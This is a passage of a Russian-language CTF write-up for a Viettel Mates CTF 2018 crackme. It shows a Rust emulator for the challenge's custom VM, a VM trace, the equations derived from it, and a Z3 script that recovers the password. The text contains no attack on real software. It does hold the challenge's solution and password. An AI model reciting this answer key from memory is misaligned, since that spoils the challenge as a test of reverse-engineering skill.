byte_1, reg_1, regs[reg_1 as usize] 627 | ); 628 | } 629 | } 630 | 631 | SUB_REG_BYTE => { 632 | reg_1 = pcode[eip as usize]; 633 | eip += 1; 634 | 635 | byte_1 = pcode[eip as usize]; 636 | eip += 1; 637 | 638 | regs[reg_1 as usize] -= byte_1; 639 | 640 | if disasm_as_pseudocode { 641 | mnem_str = format!( 642 | "REG{} -= {}\t\t\t; REG{0} = {} - {} = {}", 643 | reg_1, 644 | byte_1, 645 | regs[reg_1 as usize] + byte_1, 646 | byte_1, 647 | regs[reg_1 as usize] 648 | ); 649 | } else { 650 | mnem_str = format!( 651 | "sub REG{}, {}\t\t\t; REG{0} = {} - {} = {}", 652 | reg_1, 653 | byte_1, 654 | regs[reg_1 as usize] + byte_1, 655 | byte_1, 656 | regs[reg_1 as usize] 657 | ); 658 | } 659 | } 660 | 661 | ADD_REG_BYTE => { 662 | reg_1 = pcode[eip as usize]; 663 | eip += 1; 664 | 665 | byte_1 = pcode[eip as usize]; 666 | eip += 1; 667 | 668 | regs[reg_1 as usize] += byte_1; 669 | 670 | if disasm_as_pseudocode { 671 | mnem_str = format!( 672 | "REG{} += {}\t\t\t; REG{0} = {} + {} = {}", 673 | reg_1, 674 | byte_1, 675 | regs[reg_1 as usize] - byte_1, 676 | byte_1, 677 | regs[reg_1 as usize] 678 | ); 679 | } else { 680 | mnem_str = format!( 681 | "add REG{}, {}\t\t\t; REG{0} = {} + {} = {}", 682 | reg_1, 683 | byte_1, 684 | regs[reg_1 as usize] - byte_1, 685 | byte_1, 686 | regs[reg_1 as usize] 687 | ); 688 | } 689 | } 690 | 691 | NOP => { 692 | eip += 1; 693 | 694 | mnem_str = "NOP".to_string(); 695 | } 696 | 697 | JMP_IF_REGa_EQ_REGb => { 698 | reg_1 = pcode[eip as usize]; 699 | eip += 1; 700 | 701 | reg_2 = pcode[eip as usize]; 702 | eip += 1; 703 | 704 | byte_1 = pcode[eip as usize]; 705 | eip += 1; 706 | 707 | let mut is_taken = "not taken".to_string(); 708 | flag_is_eq = false; 709 | if regs[reg_1 as usize] == regs[reg_2 as usize] { 710 | flag_is_eq = true; 711 | is_taken = "taken".to_string(); 712 | } 713 | eip += byte_1; // do jump always, our main goal is disassembling 714 | 715 | mnem_str = format!( 716 | "if REG{} == REG{}: eip += {}\t; {} == {}\t\t; {}\n", 717 | reg_1, reg_2, byte_1, regs[reg_1 as usize], regs[reg_2 as usize], is_taken 718 | ); 719 | } 720 | 721 | JMP_EIP_plus_BYTE => { 722 | byte_1 = pcode[eip as usize]; 723 | eip += 1; 724 | eip += byte_1; 725 | 726 | mnem_str = format!("JMP: eip += {}", byte_1); 727 | } 728 | 729 | WIN => { 730 | eip += 1; 731 | need_break = true; 732 | } 733 | 734 | XOR_REG_BYTE => { 735 | reg_1 = pcode[eip as usize]; 736 | eip += 1; 737 | 738 | byte_1 = pcode[eip as usize]; 739 | eip += 1; 740 | 741 | regs[reg_1 as usize] ^= byte_1; 742 | 743 | if disasm_as_pseudocode { 744 | mnem_str = format!( 745 | "REG{} ^= {}\t\t\t; REG{0} = {} ^ {} = {}", 746 | reg_1, 747 | byte_1, 748 | regs[reg_1 as usize] ^ byte_1, 749 | byte_1, 750 | regs[reg_1 as usize] 751 | ); 752 | } else { 753 | mnem_str = format!( 754 | "xor REG{}, {}\t\t\t; REG{0} = {} ^ {} = {}", 755 | reg_1, 756 | byte_1, 757 | regs[reg_1 as usize] ^ byte_1, 758 | byte_1, 759 | regs[reg_1 as usize] 760 | ); 761 | } 762 | } 763 | } 764 | 765 | if need_break || eip + 1 > pcode.len() as u8 { 766 | break; 767 | } 768 | 769 | if need_disasm { 770 | let bytes; 771 | bytes = &pcode[(last_eip as usize)..(eip as usize)]; 772 | 773 | let mut bytes_str: String = "".to_string(); 774 | for byte in bytes { 775 | bytes_str = format!("{} {:02X}", bytes_str, byte); 776 | } 777 | while bytes_str.len() < 40 { 778 | bytes_str = format!("{} ", bytes_str); 779 | } 780 | 781 | print!("{}", bytes_str.trim_left()); 782 | println!("{}", mnem_str); 783 | } 784 | } 785 | 786 | if flag_is_eq { 787 | println!( 788 | "\n\nNice! you found it! Your flag is: matesctf{{{}}}", 789 | password_s 790 | ); 791 | } else { 792 | println!("\nNo sorry. It's wrong."); 793 | } 794 | } 795 | 796 | use OPCODE::*; 797 | 798 | #[allow(non_camel_case_types)] 799 | enum OPCODE { 800 | MOV_MEM_BYTE = 0x00, 801 | MOV_MEM_REG = 0x01, 802 | MOV_REG_MEM = 0x02, 803 | MOV_REG_REG = 0x03, 804 | MOV_REG_BYTE = 0x04, 805 | MOV_REG_PASS = 0x05, 806 | MOV_PASS_REG = 0x06, 807 | SUB_REG_BYTE = 0x07, 808 | ADD_REG_BYTE = 0x08, 809 | NOP = 0x09, 810 | JMP_IF_REGa_EQ_REGb = 0x0A, 811 | JMP_EIP_plus_BYTE = 0x0B, 812 | WIN = 0x0C, 813 | XOR_REG_BYTE = 0x0D, 814 | } 815 | 816 | impl OPCODE { 817 | fn from_u8(value: u8) -> OPCODE { 818 | match value { 819 | 0 => MOV_MEM_BYTE, 820 | 1 => MOV_MEM_REG, 821 | 2 => MOV_REG_MEM, 822 | 3 => MOV_REG_REG, 823 | 4 => MOV_REG_BYTE, 824 | 5 => MOV_REG_PASS, 825 | 6 => MOV_PASS_REG, 826 | 7 => SUB_REG_BYTE, 827 | 8 => ADD_REG_BYTE, 828 | 9 => NOP, 829 | 10 => JMP_IF_REGa_EQ_REGb, 830 | 11 => JMP_EIP_plus_BYTE, 831 | 12 => WIN, 832 | 13 => XOR_REG_BYTE, 833 | 834 | _ => panic!("Unknown value: {}", value), 835 | } 836 | } 837 | } 838 | ``` 839 | 840 | ## Разбор листинга и трасы ВМ 841 | 842 | Получаем такое - траса ВМ с попутным исполнением пикода и обязательно исполненые условные переходы(если не прыгать - то мы попадаем на байт 0xC, что останавливает ВМ, и говорит что мы проиграли, а так как у нас не дизасм и он не рекурсивный, а у нас скорее эмулятор, то приходится прыгать): 843 | 844 | ``` 845 | 00 10 memory[11] = 16 846 | 02 00 REG0 = memory[11] ; memory[11] = 16 847 | 05 01 00 REG1 = PASS[0] ; PASS[0] = 0 848 | 0D 01 63 REG1 ^= 99 ; REG1 = 0 ^ 99 = 99 849 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 16 == 99 ; not taken 850 | 851 | 05 00 01 REG0 = PASS[1] ; PASS[1] = 0 852 | 08 00 45 REG0 += 69 ; REG0 = 0 + 69 = 69 853 | 07 00 09 REG0 -= 9 ; REG0 = 69 - 9 = 60 854 | 05 01 02 REG1 = PASS[2] ; PASS[2] = 0 855 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 60 == 0 ; not taken 856 | 857 | 01 00 memory[11] = REG0 ; REG0 = 60 858 | 05 00 03 REG0 = PASS[3] ; PASS[3] = 0 859 | 0B 03 00 03 08 JMP: eip += 3 860 | 08 00 07 REG0 += 7 ; REG0 = 0 + 7 = 7 861 | 0D 00 1B REG0 ^= 27 ; REG0 = 7 ^ 27 = 28 862 | 05 01 04 REG1 = PASS[4] ; PASS[4] = 0 863 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 28 == 0 ; not taken 864 | 865 | 0D 01 5F REG1 ^= 95 ; REG1 = 0 ^ 95 = 95 866 | 05 02 05 REG2 = PASS[5] ; PASS[5] = 0 867 | 0A 01 02 01 0C if REG1 == REG2: eip += 1 ; 95 == 0 ; not taken 868 | 869 | 08 02 2C REG2 += 44 ; REG2 = 0 + 44 = 44 870 | 05 03 06 REG3 = PASS[6] ; PASS[6] = 0 871 | 0A 02 03 01 0C if REG2 == REG3: eip += 1 ; 44 == 0 ; not taken 872 | 873 | 0D 03 2D REG3 ^= 45 ; REG3 = 0 ^ 45 = 45 874 | 05 02 07 REG2 = PASS[7] ; PASS[7] = 0 875 | 0A 02 03 01 0C if REG2 == REG3: eip += 1 ; 0 == 45 ; not taken 876 | 877 | 07 02 41 REG2 -= 65 ; REG2 = 0 - 65 = 191 878 | 05 01 08 REG1 = PASS[8] ; PASS[8] = 0 879 | 0A 01 02 01 0C if REG1 == REG2: eip += 1 ; 0 == 191 ; not taken 880 | 881 | 08 01 36 REG1 += 54 ; REG1 = 0 + 54 = 54 882 | 05 00 09 REG0 = PASS[9] ; PASS[9] = 0 883 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 0 == 54 ; not taken 884 | 885 | 08 00 01 REG0 += 1 ; REG0 = 0 + 1 = 1 886 | 05 01 0A REG1 = PASS[10] ; PASS[10] = 0 887 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 1 == 0 ; not taken 888 | 889 | 0D 01 1C REG1 ^= 28 ; REG1 = 0 ^ 28 = 28 890 | 05 00 0B REG0 = PASS[11] ; PASS[11] = 0 891 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 0 == 28 ; not taken 892 | 893 | 0D 00 74 REG0 ^= 116 ; REG0 = 0 ^ 116 = 116 894 | 05 01 0C REG1 = PASS[12] ; PASS[12] = 0 895 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 116 == 0 ; not taken 896 | 897 | 04 03 00 REG3 = 0 898 | 0A 03 01 01 0C if REG3 == REG1: eip += 1 ; 0 == 0 ; taken 899 | 900 | 02 03 REG3 = memory[11] ; memory[11] = 60 901 | 08 03 06 REG3 += 6 ; REG3 = 60 + 6 = 66 902 | 05 02 00 REG2 = PASS[0] ; PASS[0] = 0 903 | 0A 03 02 01 0C if REG3 == REG2: eip += 1 ; 66 == 0 ; not taken 904 | 905 | 04 00 01 REG0 = 1 906 | 06 15 00 PASS[21] = REG0 ; REG0 = 1 907 | ``` 908 | 909 | После изучения дизасма мы можем заметить такие уравнения(а можем и не заметить `¯\_(ツ)_/¯`): 910 | 911 | ``` 912 | PASS[0] ^ 99 == 16 913 | PASS[1] + 60 == PASS[2] 914 | (PASS[3] + 7) ^ 27 == PASS[4] 915 | PASS[4] ^ 95 == PASS[5] 916 | PASS[5] + 44 == PASS[6] 917 | PASS[6] ^ 45 == PASS[7] 918 | PASS[7] - 65 == PASS[8] 919 | PASS[8] + 54 == PASS[9] 920 | PASS[9] + 1 == PASS[10] 921 | PASS[10] ^ 28 == PASS[11] 922 | PASS[11] ^ 116 == PASS[12] 923 | PASS[1] + 66 == PASS[0] 924 | ``` 925 | 926 | Пихаем их в какой нибудь SMT solver(например тут я заюзал Z3, а можно заюзать самописный в 75 строчек, точнее не самописный, а переписаный с C++ на Rust `¯\_(ツ)_/¯`) и получаем: 927 | 928 | ```python 929 | from z3 import * 930 | s = Solver() 931 | 932 | x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12 = BitVecs("x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12", 8) 933 | 934 | s.add( x0 >= 0x20, x0 < 0x7f, x1 >= 0x20, x1 < 0x7f, x2 >= 0x20, x2 < 0x7f, x3 >= 0x20, x3 < 0x7f ) 935 | s.add( x4 >= 0x20, x4 < 0x7f, x5 >= 0x20, x5 < 0x7f, x6 >= 0x20, x6 < 0x7f, x7 >= 0x20, x7 < 0x7f ) 936 | s.add( x8 >= 0x20, x8 < 0x7f, x9 >= 0x20, x9 < 0x7f, x10 >= 0x20, x10 < 0x7f, x11 >= 0x20, x11 < 0x7f ) 937 | s.add( x12 == 0 ) # printable ASCII range 938 | 939 | s.add( x0 ^ 99 == 16 ) 940 | s.add( x1 + 60 == x2 ) 941 | s.add( (x3 + 7) ^ 27 == x4 ) 942 | s.add( x4 ^ 95 == x5 ) 943 | s.add( x5 + 44 == x6 ) 944 | s.add( x6 ^ 45 == x7 ) 945 | s.add( x7 - 65 == x8 ) 946 | s.add( x8 + 54 == x9 ) 947 | s.add( x9 + 1 == x10 ) 948 | s.add( x10 ^ 28 == x11 ) 949 | s.add( x11 ^ 116 == x12 ) 950 | s.add( x1 + 66 == x0 ) 951 | 952 | while s.check() == sat: 953 | r = s.model() # result 954 | _x0, _x1, _x2, _x3, _x4 = r[x0].as_long(), r[x1].as_long(), r[x2].as_long(), r[x3].as_long(), r[x4].as_long() 955 | _x5, _x6, _x7, _x8, _x9 = r[x5].as_long(), r[x6].as_long(), r[x7].as_long(), r[x8].as_long(), r[x9].as_long() 956 | _x10, _x11, _x12 = r[x10].as_long(), r[x11].as_long(), r[x12].as_long() 957 | 958 | print chr(_x0) + chr(_x1) + chr(_x2) + chr(_x3) + chr(_x4) + chr(_x5) + chr(_x6) + chr(_x7) + chr(_x8) + chr(_x9) + chr(_x10) + chr(_x11) + chr(_x12) 959 | 960 | s.add(Or( x0 != _x0, x1 != _x1, x2 != _x2, x3 != _x3, x4 != _x4, x5 != _x5, x6 != _x6, x7 != _x7, x8 != _x8, x9 != _x9, x10 != _x10, x11 != _x11, x12 != _x12 )) # anticollision 961 | ``` 962 | ```sh 963 | PS C:\Users\PC\Desktop> python sol.py 964 | s1mpl3_r1ght 965 | ``` 966 | 967 | Пробуем вводить этот пароль: 968 | 969 | ![We win!!!](we_win.png) 970 | 971 | Bот и всё - прога довольная и мы тоже, мы победили простенькую ВМ с простенькой обфускацией) 972 | 973 | PS: можете поздравить меня с окончанием школы, теперь я не школота :D 974 | -------------------------------------------------------------------------------- /Viettel_Mates_CTF_2018/normal_run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/Viettel_Mates_CTF_2018/normal_run.png -------------------------------------------------------------------------------- /Viettel_Mates_CTF_2018/we_win.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/Viettel_Mates_CTF_2018/we_win.png --------------------------------------------------------------------------------